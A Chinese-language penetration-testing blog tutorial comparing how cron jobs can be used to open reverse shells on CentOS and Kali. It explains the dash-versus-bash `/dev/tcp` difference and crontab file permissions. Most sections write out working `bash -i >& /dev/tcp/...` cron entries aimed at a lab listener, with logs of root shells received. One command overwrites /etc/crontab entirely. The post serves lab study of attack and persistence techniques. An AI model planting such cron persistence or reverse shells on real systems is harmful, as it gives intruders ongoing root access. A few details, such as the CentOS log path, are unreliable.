• 本篇文章参考自:

  • 看本篇文章之前,建议阅读一下之前写的:Linux Bash Shell 探究,不然容易把人看蒙。

  • 计划任务功能在 Windows 系统、Linux 系统中历史很悠久了,方便运维管理。

  • 而在渗透测试中,利用到计划任务的常见的有:挖矿病毒、Redis 未授权、Docker 特权模式逃逸、Cron 提权等,但是在 RedHat 系与 DebianLinux 的计划任务是有一定的区别的,不仔细研究一下遇到了真的很折磨人(深受其害,每次遇到都是问题,淦)

  • 想起来之前学习 ActiveMQ 漏洞时使用 Corn 提权在 Kali 上复现了一遍,就踩了不少坑。

  • 果然,懒惰乃万恶之源,是时候还债了。

注:本篇文章主要选取两系中的一个作为演示

  • RedHat 系:CentOS 7 - 10.10.8.137
  • Debian 系:Kali 2023.3 - 10.10.8.134

问题列举

  1. bash -i >& /dev/tcp/ip/port 0>&1 为什么在 Kali 的默认终端上反弹 Shell 没有用,而在 CentOS 上就可以反弹成功?
  2. Kali 为什么将 bash -i >& /dev/tcp/ip/port 0>&1 写入 Shell 脚本中运行就可以直接反弹成功?
  3. KaliCentOS 的计划任务有何不同?
  4. /etc/cron/var/spool/cron 有啥区别?
  5. shdashbashzsh 有啥区别?

Linux 计划任务 Crontab

简单介绍

  • crontab 命令被用来提交和管理用户的需要周期性执行的任务。

注:

  • 在不同的 Linux 发行版中,cron 守护进程的名称可能会有所不同;
  • RedHat 系:crond;
  • Debian 系:cron。
  • 主要参数:

    • -e:编辑该用户的计时器设置;

    • -l:列出该用户的计时器设置;

    • -r:删除该用户的计时器设置;

相关目录

  • 负责调度各种管理和维护任务的目录:/etc/cron*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~]
└─# ls /etc | grep ^cron
cron.d
cron.daily
cron.hourly
cron.monthly
crontab
cron.weekly
cron.yearly

[root@localhost ~]# ls /etc | grep ^cron
cron.d
cron.daily
cron.deny
cron.hourly
cron.monthly
crontab
cron.weekly
  • 其中 crontab 作为系统计划任务调度的文件,重点在**第一行的 SHELL**,下文会提到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root㉿kali)-[~]
└─# cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#

[root@localhost ~]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
  • Kali 用户的计划任务目录:/var/spool/cron/crontabs/

  • CentOS 用户的计划任务目录:/var/spool/cron/

  • 计划任务日志(系统日志):/var/log/syslog

/etc/crontab 和 /var/spool/cron 区别

  • /etc/crontab(系统)系统执行计划,在这个文件下添加任务需要指定用户
  • /var/spool/cron/(用户)这个目录是以账号来区分每个用户自己的执行计划,在这个目录下添加任务不需要指定用户

CentOS Cron 反弹 Shell

  • 无论 RedHat 系与 Debian 系,都有下面这几种方式来计划任务反弹 Shell,但是不同系统之间有着不同的细微差距。
  • 这里先以 CentOS 为例,这个比较简单,没多少坑。

crontab -e 写入 Shell

  • CentOS 上输入 crontab -e 就会出现一个文件,可以看到这是一个临时的缓存文件("/tmp/crontab.9dvQkY" 0L, 0C),下方写入命令并保存:
1
2
3
* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
or
* * * * * /bin/bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
  • 这时候使用 crontab -l 就可以看到设置的计划任务了:
1
2
[root@localhost ~]# crontab -l
* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
  • 同时可以看到在 /var/spool/cron 目录下多了一个文件为 root,里面的内容就是刚才写入的 bash 反弹命令:
1
2
3
4
5
[root@localhost ~]# ls -l /var/spool/cron
total 4
-rw-------. 1 root root 52 Oct 17 00:50 root
[root@localhost ~]# cat /var/spool/cron/root
* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
  • 可以看到 Shell 成功反弹到 Kali 上:
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.137: inverse host lookup failed: Unknown host
connect to [10.10.8.134] from (UNKNOWN) [10.10.8.137] 53620
bash: no job control in this shell
[root@localhost ~]# hostname -I
hostname -I
10.10.8.137 192.168.122.1

echo 写入 Shell

注:先删除原有 crontab 内容。

  • 上面的 crontab -e 方式其实就是帮我们在 /var/spool/cron 目录下创建了一个 root 文件而已。
  • 所以可以尝试直接使用 echo 命令来写入 bash 反弹命令到这个文件中,即下方命令:
1
2
3
[root@localhost ~]# echo '* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1' >> /var/spool/cron/root
[root@localhost ~]# cat /var/spool/cron/root
* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
  • 经测试,也可以成功反弹。那么这里就出现一个问题:难道文件名必须是 root 么?我改成另一个 Centos 存在的用户行不行?
  • 尝试一下,首先创建一个 demo 用户,在进行文件创建:
1
2
3
4
5
6
7
8
[root@localhost ~]# useradd demo
[root@localhost ~]# tail -n 1 /etc/passwd
demo:x:1001:1001::/home/demo:/bin/bash
[root@localhost ~]# echo '* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1' >> /var/spool/cron/demo
[root@localhost ~]# ls -l /var/spool/cron
total 4
-rw-r--r--. 1 root root 52 Oct 17 01:01 demo
-rw-------. 1 root root 0 Oct 17 01:00 root
  • 可以发现,即使 demo 所属权限是 root,但还是反弹成功了,弹回了 demo 用户的 Shell
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.137: inverse host lookup failed: Unknown host
connect to [10.10.8.134] from (UNKNOWN) [10.10.8.137] 53630
bash: no job control in this shell
[demo@localhost ~]$ id
id
uid=1001(demo) gid=1001(demo) groups=1001(demo) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  • 那改成其他用户呢?经过简单的尝试(贼坤儿久)根本不行。

结论:

  • /var/spool/cron/ 目录下存放的是每个用户包括 root 的 crontab 任务,每个任务以创建者的名字命名。
  • 若用户不存在,则任务不生效。

crontab -e 写入 Shell 文件

  • 同理,Bash 反弹 Shell 除了直接输入命令外,还可以将命令写入 Shell 脚本文件中,然后在让其运行。
  • 那么直接新建一个 /tmp/demoShell 脚本同时写入 Bash 反弹命令,再向计划任务中去执行这个文件,也是可以成功弹 Shell 的:
1
2
3
[root@localhost ~]# echo 'bash -i &> /dev/tcp/10.10.8.134/4444 0>&1' > /tmp/demo
[root@localhost ~]# crontab -l
* * * * * bash /tmp/demo
  • 成功反弹回 Shell
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.137: inverse host lookup failed: Unknown host
connect to [10.10.8.134] from (UNKNOWN) [10.10.8.137] 53668
bash: no job control in this shell
[root@localhost ~]# who
who
root pts/0 2023-10-17 00:48 (10.10.8.1)
root pts/1 2023-10-17 01:26 (10.10.8.1)
  • 当然,脚本也可以这么写:
1
2
[root@localhost ~]# cat /tmp/demo
echo '* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1' >> /var/spool/cron/root
  • 他会自动向 /var/spool/cron/root 添加定时 Shell:
1
2
3
[root@localhost ~]# crontab -l
* * * * * bash /tmp/demo
* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1

echo 写入 Shell 到 /etc/crontab

  • 可以先查看一下这个文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root@localhost ~]# cat /etc/crontab 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
  • 可以发现 /etc/crontab/var/spool/cron/root 命令格式有所不同,在 /etc/crontab 写入计划任务是需要用户名的:
1
2
3
4
5
[root@localhost ~]# echo '* * * * * root bash -i &> /dev/tcp/10.10.8.134/4444 0>&1' >> /etc/crontab
[root@localhost ~]# tail -n 3 /etc/crontab
# * * * * * user-name command to be executed

* * * * * root bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
  • 成功反弹回 Shell
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.137: inverse host lookup failed: Unknown host
connect to [10.10.8.134] from (UNKNOWN) [10.10.8.137] 53700
bash: no job control in this shell
[root@localhost ~]# whoami
whoami
root

Kali Cron 反弹 Shell

  • 上面介绍了几种关于 CentOS 系统的计划任务反弹 Shell,但是远远不够的。
  • 因为在 Debian 系中的计划任务反弹 Shell 会复杂很多。

crontab -e 写入 Shell

  • Kali 上输入 crontab -e 就会出现一个文件,可以看到这是一个临时的缓存文件:

image-20231017014602431

  • 有许多注释信息,不过无所谓,写入和 CentOS 一样的 Bash 反弹命令并保存:
1
2
3
4
5
6
7
┌──(root㉿kali)-[~]
└─# crontab -e
crontab: installing new crontab

┌──(root㉿kali)-[~]
└─# crontab -l | tail -n 1
* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
  • 但是迟迟没有 Shell 反弹回来:
1
2
3
4
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...

  • 使用 journalctl 命令来监视系统日志并过滤出 cron 服务的相关信息(Kali 没有 syslog 文件):
1
2
3
4
5
6
┌──(root㉿kali)-[/var/log]
└─# journalctl -u cron.service -f
Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Oct 16 14:07:01 kali CRON[1590]: (root) CMD (bash -i &> /dev/tcp/10.10.8.134/4444 0>&1)
Oct 16 14:07:01 kali CRON[1589]: (CRON) info (No MTA installed, discarding output)
Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session closed for user root
  • cron 服务输出解释如下:
    • Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0):表示 cron 服务在 14:07:01 开始为 root 用户 (uid=0) 打开了一个会话。
    • Oct 16 14:07:01 kali CRON[1590]: (root) CMD (bash -i &> /dev/tcp/10.10.8.134/4444 0>&1):表示 root 用户 (uid=0)cron 任务正在执行。具体命令为bash -i &> /dev/tcp/10.10.8.134/4444 0>&1,它将 bash shell 的输入和输出重定向到 IP 地址为 10.10.8.134 的主机的 4444 端口。
    • Oct 16 14:07:01 kali CRON[1589]: (CRON) info (No MTA installed, discarding output):表示 cron 服务向日志中写入了一条信息,说明没有安装邮件传输代理(MTA),因此输出被丢弃。这是因为 cron 任务的输出通常会通过电子邮件发送给相关用户,但在这种情况下,由于缺少 MTA,输出被丢弃。
    • Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session closed for user root:表示 cron 服务在 14:07:01 结束了 root 用户 (uid=0) 的会话。

注:Cron 默认会将计划任务的错误信息以邮件的方式发送给用户,但是 Kali 系统默认没有安装邮件系统,安装也太麻烦了。

  • 可以看到真正的信息被 discarding output(丢弃)了,怎么办呢?

  • Shell 反弹的脚本改一改,把错误重定向到一个文件即可:

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─# crontab -l | tail -n 1
* * * * * bash -i /dev/tcp/10.10.8.134/4444 2>/tmp/error.txt

┌──(root㉿kali)-[/tmp]
└─# tail -f error.txt
bash: cannot set terminal process group (1821): Inappropriate ioctl for device
bash: no job control in this shell
bash: /dev/tcp/10.10.8.134/4444: No such file or directory
  • 随后等一等,就可以看到真正的报错信息了:No such file or directory
  • 那么又出现了一个新的问题,为什么会出现这个报错?
  • 那么前面说过,查看计划任务的启动 Shell,可以在 /etc/crontab 下看到,确实没有 bash 只有一个 /bin/sh,换句话说 KaliCron 中命令执行的 Shell 环境是 /bin/sh
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# head -n 8 /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

/bin/sh & /bin/dash & /bin/bash

  • 那么这里来查看一下到底 /bin/sh 是什么,如下可以看出 sh 其实是指向 dash 的一个软连接,那 dash 是什么呢?
1
2
3
4
5
6
7
┌──(root㉿kali)-[~]
└─# type sh
sh is /usr/bin/sh

┌──(root㉿kali)-[~]
└─# ll /usr/bin/sh
lrwxrwxrwx 1 root root 4 Jun 21 07:28 /usr/bin/sh -> dash
  • 这里询问了下 ChatGPT 得到如下回答:

    • Debian 中,/bin/sh/bin/dash 是两个不同的 Shell 解释器。
    • /bin/sh 是一个符号链接,通常链接到系统中的默认 Shell 解释器。在过去的 Debian 版本中,默认的 /bin/sh 链接到 /bin/bash。然而,自 Debian 10(Buster)版本起,/bin/sh 链接到了 /bin/dash
    • /bin/dash 是一个更轻量级的 Shell 解释器,它遵循 POSIX(Portable Operating System Interface)标准。与 Bash 相比,Dash 执行速度更快,启动更快,占用更少的系统资源。因此 Debian 选择将默认的 /bin/sh 链接到 /bin/dash,以提高系统的整体性能。
    • 需要注意的是,Dash 是一个更纯粹的 Shell 解释器,不像 Bash 那样提供了许多扩展功能和特性。
    • 总结:Dash(/bin/dash)本身并不是一个交互式 Shell,它更多地被设计为一种用于脚本执行的 Shell 解释器。
  • 这里就有个重点了,你 dash 是少了什么导致的 Shell 反弹失败?其实非常简单,找答案时走了很多弯路(淦)

/dev/tcp

  • 不知道小伙伴还知不知道刚刚的报错信息是什么:
1
/dev/tcp/10.10.8.134/4444: No such file or directory
  • 翻译一下,其实说的就是 /dev/tcp 这个文件不存在,那这个文件是什么?这就是重点了!

    • /dev/tcpBash Shell 的一个特殊功能,而不是标准的 Unix/Linux 文件系统的一部分,也不是标准的 POSIX Shell 特性。

    • Bash Shell 中,/dev/tcp 是一种特殊的文件路径,可以用于建立基于 TCP 的网络连接。它允许你通过文件 I/O 的方式与远程主机进行通信,例如连接到指定的 IP 地址和端口。

    • 这种特性是 Bash Shell 的扩展功能,不是所有其他 Shell(如 ZshKshDash 等)都提供的,每个 Shell 程序可以根据其设计和目标选择支持不同的功能和特性。所以,如果你想使用 /dev/tcp 特性,确保你在 Bash Shell 环境下运行你的脚本或命令。

    • 其他常见的 Unix/Linux Shell,如 shcshkshzshdash,通常不支持 /dev/tcp。在其他 Shell 中,你需要使用更传统的网络工具,如 ncsocat,来实现类似的网络连接。

    • 因此,在编写可移植的脚本时,最好避免使用 Bash 特定的功能,以确保脚本在不同的 Shell 环境中都能正常运行。

  • Bingo!找到问题所在了,同理,我们就可以知道为什么 Kali 下执行这个命令也报错的原因了(Kali 用的是 Zsh):

1
2
3
┌──(root㉿kali)-[~]
└─# bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
zsh: no such file or directory: /dev/tcp/10.10.8.134/4444
  • 这里有小伙伴会有个疑问,bash -i 不是就是开启一个交互式的 BashShell 吗?都在 Bash 环境下了怎么会没有 /dev/tcp 文件?这个问题我也想了很久,查了很多很多的文档,终于给我整明白了:
1
bash -i 会启动一个交互式的 Bash 子 Shell,但因为你当前是在 zsh 环境下执行这个命令,所以实际上开启了一个 Bash 子 Shell 在 Zsh 的环境下运行。然后,由于 Zsh 不支持 Bash 中特殊的 /dev/tcp 文件路径,导致了报错。
  • Nice!

no such file or directory 问题解决

  • Kali 系统上使用 Cron 执行 bash -i &> /dev/tcp/ip/port 0>&1 无法直接反弹 Shell 是因为 Kali 系统 Cron 打开的终端默认是 sh 运行的命令,而刚才也提到了,sh 实际上就是 dash
  • dash 这个 Shell 不存在 /dev/tcp 文件,也就无法进行 Shell 反弹。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kali)-[~]
└─# sh
# ps -f
UID PID PPID C STIME TTY TIME CMD
root 1197 1156 0 01:25 pts/0 00:00:00 -zsh
root 1482 1197 0 01:39 pts/0 00:00:00 sh
root 1483 1482 0 01:39 pts/0 00:00:00 ps -f
# bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
sh: 2: cannot create /dev/tcp/10.10.8.134/4444: Directory nonexistent
# ps -f
UID PID PPID C STIME TTY TIME CMD
root 1197 1156 0 01:25 pts/0 00:00:00 -zsh
root 1482 1197 0 01:39 pts/0 00:00:00 sh
root 1484 1482 0 01:39 pts/0 00:00:00 bash -i
root 1485 1482 0 01:39 pts/0 00:00:00 ps -f
[1] + Stopped (tty input) bash -i
# ps -aux | grep bash -i
root 2042 0.0 0.0 6952 3328 pts/0 T 15:43 0:00 bash -i
root 2052 0.0 0.0 6340 2304 pts/0 S+ 15:44 0:00 grep bash -i
  • 解释一下上面的代码的含义:
    • sh:切换到 /bin/sh 也就是 /bin/dashShell 之中。
    • ps -f:显示当前界面运行的所有进程、子进程,可以看到 shZsh 的子 Shell 进程。
    • bash -i &> /dev/tcp/10.10.8.134/4444 0>&1:执行 Shell 反弹,但是显示了 Directory nonexistent 目录不存在的字样,符合之前对于 Bash 上下文的描述。
    • ps -f:再次查看所有进程,发现在 sh 之下又开启了一个 bash 的子 Shell 进程,能用吗?不能,因为下面有提示,该进程输入已经被停止了。
    • ps -aux | grep bash -i:查看一下 bash -i 的进程状态,处于 T(Stop)的状态,用不了的。
  • bash -i &> /dev/tcp/10.10.8.134/4444 0>&1 那我切换到 bash 进程下呢?尝试一下:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# bash

┌──(root㉿kali)-[~]
└─# ps -f
UID PID PPID C STIME TTY TIME CMD
root 1197 1156 0 01:25 pts/0 00:00:00 -zsh
root 1561 1197 0 01:48 pts/0 00:00:00 bash
root 1564 1561 0 01:48 pts/0 00:00:00 ps -f

┌──(root㉿kali)-[~]
└─# bash -i &> /dev/tcp/10.10.8.134/4444 0>&1
  • 解释一下上面的代码的含义:
    • bash:切换到 /bin/bashShell 之中。
    • ps -f:显示当前界面运行的所有进程、子进程,可以看到 bashzsh 的子 Shell 进程。
    • bash -i &> /dev/tcp/10.10.8.134/4444 0>&1:执行 Shell 反弹,并且没有任何的报错信息,Kali 也接受到了反弹的 Shell
  • 那有没有不切换 Shell 就可以反弹的法子呢?还真有:
    • bash -cBash Shell 中的一个选项,用于指定要在 Shell 中执行的命令或脚本。
    • 它的作用是将后续的命令或脚本作为参数传递给 bash -c,从而创建一个新的 Bash 子进程来执行指定的命令或脚本。
1
2
┌──(root㉿kali)-[~]
└─# bash -c 'bash -i &> /dev/tcp/10.10.8.134/4444 0>&1'

注:有小伙伴可能还有个疑问,bash -i 不行吗?写成 bash -i ‘bash -i &> /dev/tcp/10.10.8.134/4444 0>&1’,对不起还真不行,因为 bash -i 是指开启一个交互式 Bash Shell 的子 Shell,无法执行命令。


  • 这时回过头来看,crontab -eKali 系统上,写入的内容,不能是 bash -i 开头的 Bash 反弹,而应该是 bash -c 开头,即:
1
2
3
4
5
6
7
┌──(root㉿kali)-[~]
└─# crontab -e
crontab: installing new crontab

┌──(root㉿kali)-[~]
└─# crontab -l | tail -n 1
* * * * * bash -c 'bash -i &> /dev/tcp/10.10.8.134/4444 0>&1'
  • Kali 上成功接收到了 Shell
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.134: inverse host lookup failed: Unknown host
connect to [10.10.8.134] from (UNKNOWN) [10.10.8.134] 46642
bash: cannot set terminal process group (1677): Inappropriate ioctl for device
bash: no job control in this shell
root@kali:~# id
id
uid=0(root) gid=0(root) groups=0(root)

echo 写入 Shell

注:先删除原有 crontab 内容。

  • 上面的 crontab -e 方式其实就是帮我们在 /var/spool/cron/crontabs 目录下创建了一个 root 文件而已。
  • 先把原来的 /var/spool/cron/crontabs/root 文件删除:
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# ls -l /var/spool/cron/crontabs/
total 4
-rw------- 1 root crontab 1090 Oct 17 02:07 root

┌──(root㉿kali)-[~]
└─# rm -rf /var/spool/cron/crontabs/root

┌──(root㉿kali)-[~]
└─# ls -l /var/spool/cron/crontabs/
total 0
  • 尝试直接使用 echo 命令来写入 bash 反弹命令到这个文件中,即下方命令:
1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# echo '* * * * * bash -c '\''bash -i &> /dev/tcp/10.10.8.134/4444 0>&1'\''' > /var/spool/cron/crontabs/root

┌──(root㉿kali)-[~]
└─# crontab -l
* * * * * bash -c 'bash -i &> /dev/tcp/10.10.8.134/4444 0>&1'
  • 这时便出现问题了,Shell 弹不回来,为什么?查看一下日志:
1
2
3
┌──(root㉿kali)-[~]
└─# journalctl -u cron.service -f
Oct 17 02:40:01 kali cron[978]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)
  • 其中一条信息比较显眼:INSECURE MODE (mode 0600 expected),不安全模式,期望权限为 600
  • 之前查看 /var/spool/cron/crontabs/root 文件时已经看见了 root 的文件权限:
1
2
3
4
┌──(root㉿kali)-[~]
└─# ls -l /var/spool/cron/crontabs/
total 4
-rw------- 1 root crontab 1090 Oct 17 02:07 root
  • 但是现在却是 644(至于为什么是 644,不知道要打屁股了):
1
2
3
4
┌──(root㉿kali)-[~]
└─# ls -l /var/spool/cron/crontabs/
total 4
-rw-r--r-- 1 root root 52 Oct 17 02:42 root
  • 改一改权限:
1
2
3
4
5
6
7
┌──(root㉿kali)-[~]
└─# chmod 600 /var/spool/cron/crontabs/root

┌──(root㉿kali)-[~]
└─# ls -l /var/spool/cron/crontabs/
total 4
-rw------- 1 root root 52 Oct 17 02:42 root
  • 这时已经不报错了,但是还是不反弹,贼坑,原因是要重启 cron 服务才行:
1
2
┌──(root㉿kali)-[~]
└─# systemctl restart cron
  • 反弹成功:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~]
└─# journalctl -u cron.service -f
Oct 17 03:24:01 kali CRON[1491]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Oct 17 03:24:01 kali CRON[1492]: (root) CMD (bash -c 'bash -i &> /dev/tcp/10.10.8.134/4444 0>&1')

┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.134: inverse host lookup failed: Unknown host
connect to [10.10.8.134] from (UNKNOWN) [10.10.8.134] 44482
bash: cannot set terminal process group (1492): Inappropriate ioctl for device
bash: no job control in this shell
root@kali:~# whoami
whoami
root

crontab -e 写入 Shell 文件

  • 通过命令 crontab -e 来创建的计划任务生成的 root 文件,默认就是 600 权限!
  • 所以我们不需要再改权限和重启 Cron 服务了,直接编辑就行了。
  • 可以参考 CentOScrontab -e 写入 Shell 文件,只要把命令改为 bash -c 'xxxx' 即可。

echo 写入 Shell 到 /etc/crontab

  • 可以先查看一下这个文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
  • 可以发现 /etc/crontab/var/spool/cron/crontabs/root 命令格式有所不同,在 /etc/crontab 写入计划任务是需要用户名的:
1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# echo '* * * * * root bash -c '\''bash -i &> /dev/tcp/10.10.8.134/4444 0>&1'\''' > /etc/crontab

┌──(root㉿kali)-[~]
└─# tail -n 1 /etc/crontab
* * * * * root bash -c 'bash -i &> /dev/tcp/10.10.8.134/4444 0>&1'
  • 成功反弹回 Shell
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.134: inverse host lookup failed: Unknown host
connect to [10.10.8.134] from (UNKNOWN) [10.10.8.134] 52962
bash: cannot set terminal process group (1670): Inappropriate ioctl for device
bash: no job control in this shell
root@kali:~# hostname
hostname
kali

注:

  • 写入 /etc/crontab 不推荐在运维或者日常使用,只推荐在渗透中使用。
  • 因为这是系统级别的计划任务,不是针对用户的,不方便进行管理和识别。

总结与问题答疑

第一问

  • bash -i >& /dev/tcp/ip/port 0>&1 为什么在 Kali 的默认终端上反弹 Shell 没有用,而在 CentOS 上就可以反弹成功?

  • CentOS 中默认 Cron 服务是 /bin/bash 终端,有 /dev/tcp 这样的特殊文件,可以进行 Shell 反弹;

  • Kali 中默认 Cron 服务是 /bin/sh -> /bin/dash 终端,没有 /dev/tcp 这样的特殊文件,无法进行 Shell 反弹。

第二问

  • Kali 为什么将 bash -i >& /dev/tcp/ip/port 0>&1 写入 Shell 脚本中运行就可以直接反弹成功?

注:在 Debian 中执行 Shell 脚本时,默认情况下会使用 /bin/sh 作为解释器,在 Debian 系统中,/bin/sh 通常是链接到 /bin/dash。

  • 其实这个是要有前提的,这部分没有演示,简单说明一下,假设这时脚本这么写:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~]
└─# vim demo

┌──(root㉿kali)-[~]
└─# cat demo
bash -i &> /dev/tcp/10.10.8.134/4444 0>&1

┌──(root㉿kali)-[~]
└─# chmod +x demo
┌──(root㉿kali)-[~]
└─# ./demo
./demo: 1: cannot create /dev/tcp/10.10.8.134/4444: Directory nonexistent

bash: initialize_job_control: no job control in background: Bad file descriptor
  • 脚本执行完发现,出现报错了:Directory nonexistent,是不是很眼熟。
  • Debian 系中,如果在执行 Shell 脚本时,没有指定要执行该脚本的解释器,脚本默认情况下会使用 /bin/sh 作为解释器。
  • Bingo~,找到问题了,所以在 Debian 系中,写脚本时要指定脚本解释器:
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# vim demo

┌──(root㉿kali)-[~]
└─# cat demo
#!/bin/bash
bash -i &> /dev/tcp/10.10.8.134/4444 0>&1

┌──(root㉿kali)-[~]
└─# ./demo

  • 反弹成功~:
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.134: inverse host lookup failed: Unknown host
connect to [10.10.8.134] from (UNKNOWN) [10.10.8.134] 57110
┌──(root㉿kali)-[~]
└─# id
id
uid=0(root) gid=0(root) groups=0(root)

第三问

  • KaliCentOS 的计划任务有何不同?
    • CentOS
      • Cron 用户的计划任务目录:/var/spool/cron/
      • 计划任务日志(系统日志):/var/log/syslog
      • 用户的计划任务目录权限:echo 创建的文件可使用,644 权限
    • Kali
      • Kali 用户的计划任务目录:/var/spool/cron/crontabs/
      • 计划任务日志(系统日志):无,需要使用journalctl -u cron.service -f进行查看
      • 用户的计划任务目录权限:echo 创建的文件不可使用,644 权限会提示报错,需要修改为 600 权限

第四问

  • /etc/crontab/var/spool/cron 有啥区别?
    • /etc/crontab(系统)系统执行计划,在这个文件下添加任务需要指定用户
    • /var/spool/cron/(用户)这个目录是以账号来区分每个用户自己的执行计划,在这个目录下添加任务不需要指定用户

第五问

  • shdashbashzsh 有啥区别?

  • sh

    • CentOS/bin/sh -> /bin/bash
    • Kali/bin/sh -> /bin/dash
    • dashDash(/bin/dash)本身并不是作为一个正常 Shell 使用,它更多地被设计为一种用于脚本执行的 Shell 解释器。
